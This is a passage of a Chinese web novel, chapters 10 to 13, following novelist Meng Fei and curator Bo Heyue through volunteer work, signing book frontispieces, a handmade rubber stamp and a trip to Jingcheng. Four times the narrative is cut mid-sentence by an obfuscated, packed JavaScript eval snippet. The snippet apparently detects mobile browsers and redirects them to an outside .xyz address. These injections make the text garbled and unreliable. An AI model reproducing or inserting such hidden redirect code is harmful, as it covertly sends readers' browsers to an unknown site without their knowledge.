孟翡停下手中的工作，犹豫着要不要给薄贺樾把外套披上，现在毕竟不是夏天，就算是有阳光的午后也免不了带着凉，更何况现在还有点变天了，而且他还坐在离窗户很近的地方。 孟翡就怕把他吵醒。 薄贺樾穿了个半袖，外套搭在椅背上。而他的后背正贴着椅背，拿外套很难不蹭到他。 相比感冒，还是睡不好更好一点。 孟翡轻轻地站起来，挪到他身后，薄总“日理万机”，可千万别生病。 她慢慢地拽动外套，尽量轻一点扯到青年的身上，又轻手轻脚地坐回去。 “谢谢你。”薄贺樾咕哝一句，半睡半醒。 “不客气。”她做了个口型，又继续敲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375923|184053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 键盘去了。 薄贺樾听着树叶和键盘的交响曲，再一次坠入睡梦。 等他完全清醒已经是半个多小时后了。 外面果然下起雨来，淅淅沥沥的秋雨带着泥土的腥气霸道地往人鼻子中钻，外面的天还是阴得厉害。 耳边敲击键盘的声音依然在持续，孟翡专注地盯着屏幕，嘴角绷得紧紧的。 薄贺樾的胳膊还有点发酸，头也有点晕—— 不良的午休姿势造成的。 他准备再趴片刻。 薄贺樾的头发有点长了，刘海搭在眼前，给他的视线都蒙上了一层深粉色的柔光。对面的姑娘手上动作利索得不得了，噼里啪啦一直在敲着键盘，眼镜有点下滑，孟翡顺手推下镜框，将蓝牙耳机摘下揉揉耳朵，又重新投入到工作中。 “小说作者的手速，果然恐怖如斯。”薄贺樾没头没脑地想出这句话，不过那天聚餐时，她也说那都是“从前”了。 “只不过现在的我，确实有点写不出来了。”说这话时，孟翡的表情有一瞬间茫然，重新投入到游戏中后，她才又笑得眉眼弯弯。 那天自己一直懊悔着是不是冒犯了她，故而印象很深…… “你醒了？”孟翡瞥来一眼，手上依然在敲击。 薄贺樾从思绪中脱离，坐起身：“嗯，刚醒，脖子都酸了。” 雨下得急，停得也快。 没过多久，外面淅淅沥沥的雨声就小了，只留下树叶的“哗哗”声。孟翡敲完最后一个字，也揉揉脖子，这才看向对面的薄贺樾。 “回去吗？”薄贺樾问，今天的志愿活动早已做完，只是这风雨才拦住了他们的步伐。 又是夕阳西下，又是他们两个并肩走在回小区的路上。 雨后空气清新得不可思议，连那泥腥味都显得可爱起来，一场秋雨一场寒，孟翡鼻子痒痒的，忍不住打个喷嚏。 “不好意思。”她说道。 薄贺樾拉开外套，将它抓在手中：“呃……没关系，我们接着说。” 他好像还想和她讲点别的，孟翡有点奇怪地看了薄贺樾一眼，随即又把这种念头抛在脑后，毕竟现在她正做正事呢。 薄贺樾继续听着她的“工作汇报”，外套从左手换到右手，又从右手换到左手。 孟翡正和薄贺樾讨论下次的访谈提纲，说着说着，又打了个喷嚏。 “你披着这件外套吧。”薄贺樾咬了一下嘴唇，快速地说，“现在天气确实凉了。” 薄贺樾的手汗津津的，心里也有点打鼓，这种情况是他第一次遇见，他不想让自己的行为显得无礼。 孟翡愣了一下，接过他的外套。 她的脸上有点发热，把衣服披在身上后才后知后觉地道谢。 他的外套还挺厚实，在这初秋的雨后恰到好处地抵挡住凉气，孟翡没有再打喷嚏了。 小巷子还是老样子，一到这时，那些小摊贩就出来了，由于不远处的学校已经开学了，小摊贩的数量只增不减，烟火气格外浓郁。 他们继续讨论着提纲，薄贺樾歪头看着身边的姑娘，心中再次感叹她的工作能力，孟翡前几天整理的稿子他看过了，逻辑清晰，语言流畅。 原始口述稿的口头语很多，而被采访者还多是老人，他们有时候会想起来什么就说什么，所以稿子确实繁杂得很。 孟翡是下了苦功的，薄贺樾知道…… “吃这家煎饼吗？”身边的姑娘停下脚步，笑盈盈地说，“我初中时这家店就在了，真的很好吃！我请你！” “吃！”薄贺樾也露出虎牙，“谢谢！” 明天是周六，可以休息啦！ 11. Chapter 11 温和的日光跳跃进窗户，停在浅粉色的窗帘上，透过厚实的窗帘，日光便又浅淡几分，有一种细腻的美感。 孟翡强撑着睁开眼睛，从被子中挣扎开一只手，摁掉闹铃。 昨天晚上忘记把每日的闹铃关掉了，今天休息日，本不该醒这样早的。 她重新把头缩进被子里，准备重新入梦。 可惜并不成功，睡意没了就是没了，就算再千呼万唤也不会回来。 孟翡闭着眼睛酝酿了好久，再也睡不着了。 好吧，她认命地睁开眼，准备迎接这个不算很美妙的周六早上。 外面阳光正好，照得房间暖融融的，孟翡把窗帘拉开，窗户也大开着，大口呼吸新鲜空气。 昨夜又下雨了，空气中的泥土气息和湿润的水汽依然浓郁，开始泛黄的树叶也趁此被清洗成一尘不染的样子。 孟翡洗漱完就踢踏着脚步到厨房，拉开橱柜翻出一罐花生酱—— 这是孟母上次带来的，出自鹿城的一家连锁西点店，孟翡很喜欢这个味道，但是她也不敢吃太多，热量太高了，还在减肥的孟翡有点惋惜地往面包上抹了一点点酱。 全麦面包配花生酱，又喝了一点牛奶，孟翡边嚼边无意识地发着呆。 一旁放着的手机亮了又亮，终于呼唤到她意识回笼。 顾汩：小翡翡翡翡！在吗在吗！滴滴滴！ 她咽下面包，拿起手机。 孟翡：在的，请讲。 又发了几个“我在听”的表情。 顾汩：你够冷漠的，女人。昨天晚上想找你聊天来着，可是你一直没回我消息。 消息一条一条蹦出来，顾汩打字速度很快，又发了好几个哭泣表情包来表达内心的“不满”。 昨天？ 孟翡有点懵，她往上翻翻记录。 可不是嘛！昨天顾汩给她发了两条视频通话申请，她都没接听。 那个时间她正洗澡，洗完澡吹干头发后就困得不行的孟翡早早就睡觉了。 孟翡有点心虚地打字。 孟翡：俺错了！昨天睡得太早了。 两个人展开了新一轮的表情包斗图，又闲扯一会儿，顾汩突然提起孟翡的一本大学校园文。 这本书是很久以前就签下出版合同的，只不过流程一直卡着，直到前不久才有了下一步的安排。 孟翡：嗯嗯，前几天编辑给我发信息了，扉页已经寄出了。 要说让作者们又爱又恨的，那一定是扉页的签名了。 亲签几千本加上特签的几千本，足以让手腕酸痛，更别提还有正式签字前的各种练习，以及花大量时间征求读者意见、挑选适合的笔、设计不同的颜色搭配…… 按顾汩的话就是—— 这简直是甜蜜的“负担”。 一想到一直支持自己的读者拿到饱含情感的签字确实很开心，但前期的准备过程也的确熬人。 上个月顾汩也刚签好一批，她可没少给孟翡看她签好之后的扉页，上面还画了卡通人物形象，别提多可爱了。 她倒是没顾汩那么高超的绘画水平，只能多在文案和色彩搭配上下功夫。 孟翡上一次签扉页还在将近一年前，顾汩又说她又挖出几款好用的签字笔。 一说起这个，两个人更是有说不完的话，打字还是太慢了，干脆又开了微信视频。 “嚯！”一看见顾汩，孟翡就感叹一句，“顾老师的技术更精进了。” 顾汩洋洋得意地展示着自己头上漂亮的发饰和新买的假睫毛。 她喜欢cos，还是当地小有名气的coser，今天大概率有漫展之类的活动，此时的顾汩妆容异常精致，还做了繁复的发型。 顾汩恨铁不成钢地瞪了一眼披头散发穿着睡衣嚼面包的孟翡。 “小翡啊，大好周末的，你又‘家里蹲’？” “‘家里蹲’也没什么不好嘛……”孟翡越说越心虚，声音也逐渐变小。 和好友一对比，热爱宅家的孟翡确实感觉自己有点“虚度光阴”。 以前宅家她总说自己要码字，而现在她发现自己的属性就是宅。 “工作了一周，确实只想宅着。”孟翡想了想，理直气壮地说。 “感觉咋样啊？”顾汩来了兴趣，她和孟翡一样，大学一毕业就成了全职作者，除了实习以外，一天班也没上过。 “感觉还不错，居家办公嘛，感觉和以前赶稿子差不多，周四倒是出了个外采，和老板一起。” 顾汩的表情更好奇了。 “你老板？那个策展人？”她嘬了一口黑咖啡，“感觉咋样啊？” 她又问。 孟翡张了张嘴，宕机片刻。 她不知道顾汩问得是薄贺樾这个人怎么样，还是和他一起工作感觉怎么样，所以这两个问题的答案轮番在她脑海中浮现。 薄贺樾，认真又专业。 和薄贺樾一起工作也感觉很自在，他布置工作很简练，不多说什么，反馈也很及时…… 孟翡满意地点头：“感觉都很好！” “都？”顾汩放下咖啡，重复了一遍，随即又意识到了什么般了然地笑了笑。 啧。顾汩暗叹。 见孟翡确实没有出门的打算，她转移话题。 “快递是不是要到了？这都好几天了。”顾汩边补散粉边说。 孟翡查查物流，果然在派送了。 “估计一会儿就到了。”孟翡又打个哈欠。 “行啦！你快再睡一会儿吧，被你传染得我都想打哈欠了，这可不行，我过会儿就要出门啦！” 顾汩兴致勃勃：“对了，我给你寄一份我上次用的那款笔吧，你试试。” 又哩哩啦啦地说了一会儿话，顾汩要出门了，两个人才挂断视频。 …… 那箱子大得很，又沉。孟翡倒是早有准备，她和小区小卖铺的阿姨借了拉货的小推车。 正午阳光更是浓烈，还带着一点夏日的余韵，孟翡推着小车站到驿站门口处，箱子体积大，普通货架放不下，所以她在放在外面单独编号的“大家伙们”中仔细翻找。 那大箱子里塞满了纸，使得箱子的重量比看起来更沉。 快递站的工作人员帮孟翡将箱子抬到小推车上，好让她可以自己推回去。 小区的地面还算得上平整，孟翡顺顺当当地推着车。 诶？为什么推不动了？ 孟翡停下来喘口气，绕着车走了几圈，观察了一下。 箱子老老实实地坐在推车的正中心，没有偏移，小车的轮子肉眼看着也没什么问题。 “好像没什么问题吧。”嘟囔一声后就又准备继续干活。 有一块小石头卡在车的右后轮子上，她并没有注意到。 还是推不动。 没事，中国女人有的是力气和手段。 孟翡咬牙一推。 卡了石头的小推车却失去了重心，纸箱子往旁边蹭了又蹭，终于还是不堪重负地跌落在地。 孟翡也一个踉跄，差一点就摔倒。 嘶！她心中大惊！ 要是扉页的边角有折损就完蛋了！ 索性出版社的包装足够硬挺，看似脆弱的纸箱没有一点损坏，检查无误后，孟翡才放下心。 当她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375924|184053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 费劲地把箱子重新往推车上挪时，身边传来带着熟悉笑意的声音。 “我来吧。” “薄贺樾？”她抬头看。 果然是他。 薄贺樾背了个黑色的大书包，这么好的天气却穿了看起来毛绒绒的外套，那些叮当作响的耳饰依然在耳边闪耀着。 挺酷的。 孟翡后退半步，让出位置来。 薄贺樾利索地将长袖卷到手肘处，露出结实的小臂。 他和孟翡一起拉住箱子的边角，不过，薄贺樾也低估了箱子的重量，纸箱轻微地晃动了几下才重新稳住阵脚。 纸箱顺利地重回小推车上，孟翡拍拍手上的土，真诚地道谢。 见薄贺樾的眼神带着疑惑，她笑着解释说那是出版社给她寄的签名扉页。 “原来是扉页啊，怪不得这么重，纸张克数肯定很高。”他朝孟翡竖个大拇指，“恭喜孟老师出版！” 她也笑起来，这是她第一次写校园文，终于熬过出版流程，作为“老母亲”的她确实高兴得很。 今天真是个值得庆祝的好日子。 对她来说，最好的庆祝方式就是—— “走！薄总！请你吃饭！”孟翡雄心壮志地一挥手。 薄贺樾不自觉地被眼前姑娘的笑容所感染，也咧嘴笑起来，背包里放的废弃策划稿所带来的挫败感也消弭些许。 “没发工资呢，还是我请客吧。”他也学着孟翡的样子挥挥手，“薄总不会亏待自己的员工。” 薄贺樾居然自称“薄总”了，孟翡悄悄地瞥一眼他。要知道他一听别人叫他“薄总”就脸红，这几天他们和另外两个员工开视频会时，孟翡就发现了。 果然，薄贺樾的脸有点微红。 孟翡感觉有点好玩。 “还是我请吧，薄总。”她加重后两个字的音，偷笑着看身边的青年又开始新一轮的抓耳挠腮。 把箱子搬回家，两个人又在门口见面。 “请你吃一家超级好吃的小店！” 小店还是老样子，大黄狗蔫哒哒地坐在门口，像防伪标识，推开门，店里倒是人很多。 “咖喱鸡肉盖饭！少油少盐！”孟翡熟练地和老板打个招呼，“薄贺樾，你吃什么？” “他家面条都还不错，盖饭除了西红柿鸡蛋盖饭以外也都好吃，我感觉最好吃的就是咖喱鸡的。”见他还在研究贴在墙上的菜单，老顾客孟翡贴心地介绍。 “那和你点一样的吧。”薄贺樾看看墙上的菜单，决定相信孟翡的口味。 没过多久，两份热腾腾的盖饭就端到他们面前，汤汁包裹着米饭，土豆绵密、鸡肉爽滑，看着就叫人食指大动。 “你要去京城？”孟翡拿起汽水喝一口。 “嗯，回一趟家。”薄贺樾说道，他吃相斯文，一口一口吃得认真，“这次展览上的一些资料在家放着，有点散乱，我家人估计也不好帮我找，还是我回去一趟比较方便，而且还需要去勘查场地，定一个展览场馆。” “可能不止去一趟京城，确实还挺多事情需要处理的。” 他耐心地和孟翡说。 他也不知道为什么要解释地这么明白，按他之前的做派，只说一句“去京城”就结束了。 不过他也顾不得疑惑了，对面的姑娘又大吃一口盖饭，腮帮子鼓得像塞了小核桃。 很可爱，像小松鼠。他想。 “巧了嘛，我过段日子也得去趟京城。”孟翡咽下饭，脆生生的声音打断了他的思绪。 孟翡大学室友要结婚了，请她去做伴娘。 “薄总，先提前说一下，我下下周得请假两天呀。” 12. Chapter 12 孟翡感觉日子过得飞快。 似乎就在弹指之间，日子就哗啦哗啦地从指缝之间溜走了。 学生们都开学了，所以以大学生为主体的敬老院志愿队的集体任务也少了不少，孟翡最近只用每周为院公众号做两次推送，张卢、薄贺樾这些男队员则是固定每周一次地帮工作人员搬物资。 志愿活动减少了，但是孟翡却仍然过得相当充实。 工作日就一直忙于策展资料的整合，遇见有疑问的地方她也会和被采访者联系，重新核定，与此同时，孟翡也大量阅读了关于自己故乡的地方志。 燕城历史悠久，从一千多年前建城伊始就是兵家必争之地，此后在各个朝代的记载中，总有它的一席之地，在近现代史上，燕城这座重工业城市也居于重位，可是它也像其他重工业城市一样，渐渐隐于灰蒙蒙的天空中去。 作为土生土长的燕城人，孟翡为自己故乡的历史而感到骄傲，也同样和那些受访人一样，对现如今故乡的渐渐衰落而深感惋惜。 策展所需的资料多且杂，孟翡一丝不苟地完成着这些整理工作。 在这工作之余，孟翡还得打“第二份工”。 最近校园文的风头正盛，出了多部校园小说改编的网剧，反响都不错，想来出版社也想乘着这股风而上，出版一批校园小说，所以他们催得很紧，编辑时不时就来问孟翡的签名进度。 孟翡：在工作了，在工作了，真的在工作了！ 顾汩寄来的笔确实很好用，出墨流畅，颜色好看，更主要的是，还是速干型的，简直是为了她们这些作者量身定做的签字笔！ 只不过，孟翡好久没有认真写字了—— 那些外采时为了快速记录的凌乱笔记可不能算得上“认真写字”。 所以啊，孟翡还得先花点时间练练字，她可不希望新书上市后看见吐槽她字丑的评论，而且她也希望每一个支持自己的读者都能拿到一个漂亮的签名。 除此之外，孟翡还登上自己许久没上过的作者微博，发了多个帖子让读者票选出签字的内容。 “猫猫！我的猫猫！一定要在特签中写结尾那段话啊啊！太有触动了！” “俺只求一个男主表白段！谁懂啊！简直鲜品！” “想要渐变色的效果，悄咪咪地说……” “猫这次的扉页可以有Q版画嘛？” “同求Q版头像！猫猫请看这里！” 好好好，票选的结果全是超长句子，而且她也得去想想渐变色的搭配。 微博评论区一片许愿自己能买到心仪的特签扉页的评论。 孟翡也想许愿，她希望自己可以左右手都能写字，猫猫叹气。 没事没事，干就完了，她鼓励自己。 终于把字练得差不多后，正式进入了签字阶段。每天一睁眼就是签，结束策展工作室的工作后又是签，偶尔还得为敬老院做公众号。 一天两、三份工作的孟翡感觉自己像陀螺。 自于易易陷害她的那件事后，孟翡时不时会做梦，梦境光怪陆离，虽然称不上梦魇，但是很影响自己的睡眠质量。 最近呢，许是忙累，孟翡每天洗漱完都是倒头就睡，再也没有在睡前玩过手机，入睡速度极快，而且她已经好久没有做过梦了，可以安安稳稳一觉睡到天亮。 这样也挺好的，连黑眼圈都快淡得看不出来了。孟翡满意地想。 工作按部就班，日子也按部就班，就连心情都平稳沉静了些许。 不过她倒是很久没见薄贺樾了。 他更忙。 上次见到他还是在每周固定的志愿活动上，他们几个男生吭哧吭哧地办完物资后还去撸了个串，那天孟翡也在，刚做完推送的她也加入了撸串大军。 此后一连几天薄贺樾都不见人影，对门静悄悄的。在那天策展工作室的视频会议中，他的背景显而易见是工地。 “老薄去看场馆了。”工作室的同事唐光晓说，“这次做的展览和以往他做过的展览完全不是一个风格，老薄这个人又一贯精益求精，凡事都追求完美。” 这确实，孟翡从薄贺樾那边要来了作品集，他以往的作品大多是科技展，多用声光电来展示，还有一些是文博展。 像这样的主题展览还是第一回。 “工作狂。”另一个同事王逸晨点评，“凡事都追求完美的人是最累的。” 他俩一齐打个哈欠顶着鸡窝头继续和孟翡讨论资料。 这次的视频会只有他们三个，所以才肆无忌惮地“蛐蛐”薄贺樾。 唐光晓在一边笔速飞快地做记录：“孟翡，目前就剩三份采访稿，咱三今天得完成，赶一下进度。” “没问题！”孟翡在日程表上划拉一下，表示自己知道了。 快到她要去京城做伴娘的日子了，孟翡想把自己的工作往前赶一赶，要不等她回来一定会累上加累。 在完成最后一篇采访稿的整理工作后，她又和同事们敲定了下一步工作，自己紧锣密鼓地提前赶赶。 …… 薄贺樾确实很疲惫，但是他并没有表现出来，这几天一直在京城跑工地敲定选址，好不容易定了个位于巷子中的展馆。 展馆位置不错，靠近景区，人流量倒是不少。 目前这个场馆被布置成国风的风格，下一个展览是关于书画的，而薄贺樾策划的展览则是下下期。 定好场馆，他浅浅地松了一口气，压在心上的大石头也轻了不少。 片刻后，薄贺樾又皱起眉头，定好场馆就意味着正式进入了开启展览的倒计时，后续工作更是重中之重。 不过嘛，有紧有弛才是良态。 他在工作群中汇报了已经定好场馆的消息，又给三个小伙伴从明天起放了三天假，现在是周二，也就是说大家可以连休五天。 消息发出片刻，群里一片欢声笑语。 薄贺樾也握着手机笑笑，他都能想象到老唐和王哥的样子—— 一定是狠狠地合上笔记本电脑，马上掏出手机看球赛。 孟翡呢？ 薄贺樾的嘴角不自觉扬起，大概率是拿出手机点开各个外卖平台，准备买点好吃的来庆祝。 她爱吃，也会吃。燕城又是一座极具烟火气的城市。 薄贺樾笑眯眯地摁下被微风吹得翘起的头发，把手机塞进口袋，拦了一辆出租车。 “师傅，去最近的稻花糕点。” …… 饱睡一顿，孟翡感觉神清气爽。 薄贺樾给他们放了假，带薪休假实在太爽了。 而她今天又一觉睡到自然醒，一点也没做梦。 风朗气清，孟翡停下写写画画，惬意地伸个懒腰。 这个时候就适合撸猫，可惜自家的猫猫远在鹿城，孟翡惋惜地叹口气。 哪个作者没有猫呢？ 孟翡的动作停顿了一下，她又一次地想到了小说作者这个身份，不过此时的她已经没有之前的那种憋闷感了。 一切都在往好的方向发展。 “咚咚！” 门铃响起，孟翡有点疑惑地从猫眼看向外面。 薄贺樾提着一个无纺布袋子站在门口。 “薄贺樾！你回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375925|184053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啦！”孟翡打开门，声音中都有一些不易察觉的欣喜。 “谢邀，刚下高铁。”薄贺樾煞有其事地拍拍身上并不存在的尘土。 孟翡也煞有其事地皱起眉头：“薄总应该叫我去接机，哦！不对，是接高铁，然后给你当保镖。” “省得我们薄总被人当成小爱豆来围观。”她打趣道。 上一次他们一起出外采，和被采访者约在一个奶茶店，然后“惨遭”几个追星女孩的围观。 “这是哪个团的练习生？” “不知道，没认出来。”一个女孩翻出手机，“管他呢，来都来了，先拍先拍！” 彼时的薄贺樾两眼一闭，深深呼吸几口，还是任由那几个以为他们没注意到自己的女孩子们拍了照片。 想起那时候的薄贺樾，孟翡又偷笑一声。 “咳咳。”面前的青年假装咳嗽一下，打断了她的思绪，“所以你还要不要这个。” 薄贺樾拉长尾音，将手中的袋子举了举。 是稻花糕点！孟翡的眼睛一下子亮了起来，她一直都很喜欢这家的老式点心，这家虽然是连锁店，可是开在燕城的稻花糕点店却总缺少几样她爱吃的种类，而且新品上新也很不及时，所以她每次去京城都要买一大包。 “要！”她干脆答道。 不过—— “老唐和王哥有吗？”孟翡眼睛亮晶晶地看着袋子，有点期期艾艾道，“我可不能吃独食。” “都有都有。”薄贺樾甩甩头发，像一只湿漉漉的大狗，“薄总都给他们寄回去了。” 现在的薄贺樾是已经成长了的薄贺樾，对“薄总”这个称呼适应程度逐渐上升，无论是听三个小伙伴调侃还是自称都已经面不改色了。 听到这些话，孟翡才放心地接过来，毕竟在这段日子里她已经与老唐和王哥建立了深厚的同事友谊。 孟翡的手上有些许彩色的斑点，刚刚她先练了会儿字，又签了一百多张特签。 “你手怎么了？”薄贺樾问，楼道的灯光略微发黄，让一些色彩失真，可是他却一眼发现了孟翡手上的问题，“受伤了吗？” 薄贺樾皱起眉头。 “哦，这个啊，签字蹭上去的，你不说我都没注意。”孟翡低头看看自己的手，确实有点“色彩斑斓”。 说起签名，孟翡把袋子放回家，又兴冲冲地抓了一把签好的扉页给薄贺樾展示着。 “你看！这些是我签好的，现在就差盖个人物章了。”她说，“我这几天在网上看了又看，总觉不满意，不过幸好时间还来得及，我还能再挑几天。” 薄贺樾接过那几张纸，认真翻看起来，孟翡的笔迹工整，一笔一画都写得认真，字数很多，却丝毫不乱，一点都不敷衍。 “你准备订什么样的章啊？”他把扉页整理好递给孟翡，语气里带点刻意的随便。 “这样的。”孟翡拿出手机给薄贺樾看看人物Q版图片，“大概瓶底大小的，橡皮章或者金属章都行，我更偏向橡皮章一点……” …… 第二天早。 又睡了一个好觉的孟翡换身衣服，拿着垃圾袋准备下楼。 一个包装得整整齐齐的小盒子放在门口，盒子下依然垫着一张报纸。 她一脚踏出家门，蹲下身子看向上面贴着的便签纸。 “新书大卖！” 薄贺樾的笔迹潇洒，旁边还有卡通图案。 孟翡心中微动。 这是她出版新书中男女主的Q版头像，昨天刚给薄贺樾展示过的。 孟翡打开盒子，里面静静地躺着一枚橡皮章。 13. Chapter 13 两个Q版头像可可爱爱的，又靠得极近，是孟翡心中自己男女主的模样。 感谢画手老师，她一丝不苟地敲章。 也谢谢薄贺樾。 那天拿到橡皮章后孟翡就给薄贺樾发微信表示感谢，薄贺樾又出差去了，隔了十几分钟才回她的信息。 薄贺樾：不客气！小菜一碟嘛。 “真够‘臭屁’的。”孟翡啼笑皆非，在她看来，薄贺樾微信头像上的那只翘尾巴猫儿和那个红毛青年如出一辙。 又酷又傲娇。 孟翡心想，这小菜一碟也够费事的，而且今天她醒得早，出门扔垃圾也早，薄贺樾是比她更早地出门赶大巴车去了，没准儿他昨天为了刻章和准备今天出差的材料都没怎么休息。 孟翡的手指顿住了，犹豫着要给薄贺樾这条颇为“臭屁”的信息回点什么。 …… 薄贺樾挤在气味浓郁的大巴上，正在有点曲折的路上颠簸着，车上人倒是不太多，有零零散散的座位，可是气味极为难闻，是那种长途汽车上特有的味道。 车窗外一片朦胧，天还未大亮，远处山峦起伏，乌蒙蒙的，看起来有些压迫感。 他是不爱晕车的人，但是这条路和这辆车都让自己想吐，幸好早上出门太早，没买着早饭。 薄贺樾颇具乐观主义精神地笑了一下，让旁边提着大包去赶集的大爷都看了他一眼。 “好好的孩子，坐大巴都坐出毛病了。”大爷暗叹。 这辆大巴在每一个村都有站点，燕城郊县的村落大多居于山中， 他看看导航，还有七站才到目的地。那个村子里有个剪纸老工匠，无论再复杂的场景和人物都能栩栩如生展现出来。 薄贺樾想请他为燕城主题展做几幅体现钢铁厂工人劳动场景的剪纸作品，听说这个老匠人已经好久都没接工作了，薄贺樾也不确定能不能请动她。 不过，凡事都要尝试嘛，努力一把才知道有没有效果。 薄贺樾还是有点恶心，他用背包抵住翻腾的腹部，头靠在车窗上眯起眼睛，实在太困了。夜里一共也没睡多久，现在困意渐渐席卷而来，薄贺樾迷迷糊糊之间还不忘将背包放置平稳，里面还放着他昨天赶制出的剪纸线稿，他没信心一定能说服这个传言中有些固执的老太太，他只有做出努力。 昨天，他还为孟翡的出版新书刻了Q版橡皮章。 繁星点点，月儿高照，一盏台灯陪伴着他，旁边放着已经完成的线稿，距离出发去汽车站还有几个小时。 这个时候应该赶紧去休息一下，养精蓄锐。可是薄贺樾却不自觉地拿出了刻刀和橡皮，丝毫没有犹豫，脑海中早已浮现下午时她在孟翡手机上看到的Q版头像。 他从小学美术，对于画的感觉很敏锐，几乎成了条件反射，薄贺樾看了几眼心中就有数了。 刻橡皮章也是他所擅长的，在读高中时，他就迷上了刻章，就算大学去了远在千里之外的伦敦，他偶尔也靠刻橡皮章来解压，只不过后来太忙了，薄贺樾才把这种爱好淡忘了。 不过好在，他依然“宝刀不老”。 凭着记忆把头像复刻出来，又一点点刻好。薄贺樾的手指修长灵巧，原本枯燥的工作都变得赏心悦目起来。 夜色如墨，渐渐地，墨也被水稀释了。 最后一刀结束，薄贺樾小心地吹开橡皮屑看着面前的作品。 “挺好看。”他嘀咕一句。 离出发还有一个小时，薄贺樾趴在沙发上浅眠。 “她肯定会喜欢的。”他迷迷糊糊地想。 …… 大巴车依然在摇摇晃晃中前进，薄贺樾抱着背包昏沉地闭着眼睛。他感觉自己像是在梦中，但是又像没睡着一样—— 车内的声音依然响在他耳边。 太阳出来了，而大巴车也转入一个弯道，阳光透过风尘仆仆的车窗正好刺到眼皮上，薄贺樾微微皱眉，眼前变得橙红一片，给昏沉的睡意中带来几分清醒。 手机震动一下，薄贺樾闭着眼睛摸出手机。 肯定是孟翡。 他心中断定，才眯起眼睛确认一下。 果然是她，薄贺樾打个哈欠得意地笑笑，快速打字。 对面的姑娘半天没回应，只是一直显示“正在输入”。 薄贺樾耐心地等待着，在摇晃的大巴车上盯着屏幕由亮变暗。又过了片刻，孟翡的消息才出现在手机上，她说—— 工作顺利，早点儿回来。 “早点儿回来。”薄贺樾靠在椅背上，他都能想象到孟翡的语气。 她的声音清越，说儿化音极为好听，带着一种亲昵。 “那就早点儿回去。”他对自己说。 那天和那位固执的老匠人奶奶谈了许久，薄贺樾耐心地给她展示了他们工作室目前的成果。 许奶奶也说了很多，她儿子就是燕城钢铁厂人，她也愿意为这个关于燕城、关于燕城钢铁厂的展览做剪纸。 他们谈得出人意料地顺利。 消息传回工作室，大家也都很开心。虽然在那三天假期间，但是小伙伴们也时刻关注着群动态，大家都知道薄贺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375926|184053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 樾今天要去拜访许奶奶，所以消息一传回，几个人都兴奋地在群里刷屏。 …… 孟翡继续盖章，可可爱爱的Q版头像出现在每一张签名扉页上。 明天就要出发去京城了，策展工作室那边的工作也在前几天都做得差不多，她也为敬老院公众号设置了定时发放的推送。 现在的任务只剩签名扉页了。 今天必须把未来三天的盖章和签字工作都做完才行，孟翡喝了一口清苦的绿茶重新投入到工作中。 加油加油，猫猫打气。 盖完章，孟翡把行李拿到玄关，只等明天一早就出发。 著名的旅游城市京城从来没有淡季、旺季之分，无论什么时候来到这里，都是人声鼎沸的样子。 求职者一脸严肃，游客们一脸期待，学子们眼中全是向往……下了高铁，就能见到众生百态。 孟翡的大学室友安莉何大学毕业后就回京城读研，研究生毕业后又成功地入职大厂，如今也在公司里站稳了脚跟，与相恋三年的男友步入婚姻。 安莉何上学时就与孟翡关系极好，虽然毕业后两个人分别在不同的城市、不同的行业打拼，但是她们的联系却从来没有断过。 刚出站，孟翡就被安莉何一个熊抱给抱住了，她老公李彭憨厚老实，在一旁朝孟翡挥手。 小夫妻俩接到后孟翡顺利地到地下车库，一上车，安莉何就递给孟翡一个口袋。 “稻花糕点的中秋节新品，快尝尝！”她兴冲冲地说，随之又画风一变，故作严肃，“但是千万别把渣渣掉我车上，小翡翡！” …… 安莉何是京城本地姑娘，有一个属于自己的小公寓，小夫妻请孟翡吃完饭后，李彭把她们送到公寓楼下，自己开车离开了。 两个人好几个月都没见面了，自然有说不完的话，安莉何最近忙于备婚和工作，感觉自己和世界都脱节了。 她们从明星八卦聊到近期发掘的美食，哩哩啦啦一直说到深夜。 安莉何还换了好几身衣服叫孟翡看，两个人都感觉好像秒回大学时代。 孟翡困得眼皮打架、眼睛都快睁不开了，但是还拉着安莉何听八卦。 